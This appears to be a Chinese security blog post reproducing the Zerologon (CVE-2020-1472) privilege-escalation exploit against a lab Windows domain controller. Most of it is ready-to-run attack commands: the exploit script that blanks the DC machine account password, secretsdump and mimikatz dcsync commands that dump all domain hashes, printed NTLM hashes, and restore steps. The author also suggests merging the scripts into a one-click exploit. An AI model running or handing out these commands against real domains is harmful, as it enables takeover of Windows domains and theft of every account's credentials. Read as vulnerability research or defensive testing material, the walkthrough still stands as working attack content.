点击上方蓝字 关注我吧
影响
攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的 Netlogon 安全通道时,存在特权提升漏洞。
当成功利用此漏洞时,攻击者可无需通过身份验证,在网络中的设备上运行经特殊设计的应用程序,获取域控制器的管理员权限。
Windows Server, version 2004 (Server Core installation)Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2012Windows Server 2012 (Server Core installation)Windows Server 2012 R2Windows Server 2012 R2 (Server Core installation)Windows Server 2016Windows Server 2016 (Server Core installation)Windows Server 2019Windows Server 2019 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)
复现
需要最新版的impacket
git clone https://github.com/SecureAuthCorp/impacket.gitcd impacket && pip3 install .
exp地址:
https://github.com/mstxq17/cve-2020-1472.git
检测
python3zerologon_tester.pyDC_NETBIOS_NAME DC_IP_ADDR
DC_NETBIOS_NAME是计算机名(下文中的win2008都是DC_NETBIOS_NAME,172.16.58.111都是DC_IP_ADDR ),不知道的话直接用nbtscan扫一下就可:
python3 zerologon_tester.py WIN2008 172.16.58.111
利用
这个漏洞改动的是ntds.dit中的域控主机的对应的hash。exp.py+secretsdump.py的利用方法无论是否获取到域内服务器权限都可以进行。
exp打之前WIN2008$的hash:
VUL\WIN2008$:aad3b435b51404eeaad3b435b51404ee:4d9a97c1c0593d08c1f06d3b8dd7fcae:::
exp打一下,利用漏洞把WIN2008$的密码置为空密码,然后可使用secretsdump出来所有hash:
python3 cve-2020-1472-exploit.py win2008 172.16.58.111
secretsdump.py vul/win2008\$@172.16.58.111 -no-pass
exp打之后WIN2008$的hash,替换成了空密码:31d6cfe0d16ae931b73c59d7e0c089c0
WIN2008$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
恢复
secretsdump.py vul/win2008\$@172.16.58.111 -no-pass
时候获取到administrator的hash后,利用administrator的hash获取域控服务器sam中的MACHINE.ACC中的WIN2008的hash,然后对dc中的WIN2008的hash进行恢复。
网上很多都是wmiexec过去,然后reg出来,再本地解sam,其实secretsdump可以直接远程获取MACHINE.ACC中的hash回来,省去了很多步骤。
PS:新版的impacket有获取plain_password_hex的功能,pip源中的旧版是没有的,可github下载最新。
获取WIN2008$的hexpass过来:
secretsdump.py vul/administrator@172.16.58.111 -hashes aad3b435b51404eeaad3b435b51404ee:bd67bdb5dd3e8bad82bb56be8374b68d
恢复WIN2008$的hash到dc中:
python3 restorepassword.py win2008@win2008 -target-ip 172.16.58.111 -hexpass 20e012d833ba7fccaae87b0db4bfa955ced0d3dcffc7156ddac8e2cc6f384e69
这样就把31d6cfe0d16ae931b73c59d7e0c089c0重新恢复成了4d9a97c1c0593d08c1f06d3b8dd7fcae
重新secretsdump空密码连接下,已经不能dumphash了:
secretsdump.py vul/win2008\$@172.16.58.111 -no-pass
PS:exp.py和secretsdump.py可以一起改造改造变成一个一键exp脚本。
mimkatz.exe attack
新版的mimkatz增加了该漏洞的poc检测和exp攻击。测试了下利用mimikatz进行检测和攻击都没有问题,但读取hash和恢复win2008$的passwd用不上。
先放下检测的方法:
.\mimikatz.exe "privilege::debug" "lsadump::zerologon /target:172.16.58.111 /account:win2008$"
先放下攻击的方法:
.\mimikatz.exe "privilege::debug" "lsadump::zerologon /target:172.16.58.111 /account:win2008$ /exploit" "lsadump::dcsync /domain:vul.com /authuser:win2008$ /authpassword:\"\" /all /csv" "lsadump::postzerologon /target:172.16.58.111 /account:win2008$" exit
发poc检测和发exp置空密码,在非域内机器和域内机器普通权限都是可以的,网能通基本没问题,这是我非域机器的poc和exp状态,是成功的:
问题出在了认证win2008账户读取
hash`”lsadump::dcsync/domain:vul.com /authuser:win2008 /authpassword:””/all/csv”
和恢复win2008$的passwd
“lsadump::postzerologon/taget:172.16.58.111/account:win2008$”`中了:
问题一:
"lsadump::dcsync/domain:vul.com/authuser:win2008$/authpassword:\"\"/all/csv"
dcsync操作肯定要在域内机器了,普通域用户权限下(PS:肯定普通用户权限了,有域管权限的话就不用这个洞了就直接干域控了)这里error掉了:
当然在域控administrator上肯定是可以执行的:(PS:有域控权限的话就更不用这个漏洞了,,,)
问题二:
"lsadump::postzerologon/target:172.16.58.111/account:win2008$"
恢复passwd操作中,是先读取再还原,本身这个地方win2008$认证后就无法读取到passwd,也就没法恢复了。
所以,使用mimikatz.exe来利用这个漏洞的话,只能进行漏洞检测:
privilege::debug""lsadump::zerologon/target:172.16.58.111/account:win2008$
和打漏洞exp:
lsadump::zerologon/target:172.16.58.111/account:win2008$/exploit
,其他的例如获取hash、恢复win2008的passwd的操作都无法进行,还需借用上面的py脚本。(或者我这mimikatz利用方式有问题?如有问题的话请指导一下,tks)
其他
1.传说exp打过后dc里面的域机器和dns解析会有问题,打exp后一定要恢复下。
2.这个漏洞exp改动的是ntds.dit中的win2008对应的hash,在恢复时候而是用sam中的hash恢复到了ntds.dit中。
在sam中MACHINE.ACC中的WIN2008的hexpass和hash都不是dc中实时的,如果管理员安装域后改动过ntds中的win2008$的hash的话,那hash从sam恢复到ntds中也无用了,对域的影响按理说是依旧存在,依旧有点崩溃风险,祝好运886。
3.myblog: https://lovechoudoufu.github.io/ see you~
扫码关注我们www.sec-in.com在这里,探索技术与热爱
点分享
点点赞
点在看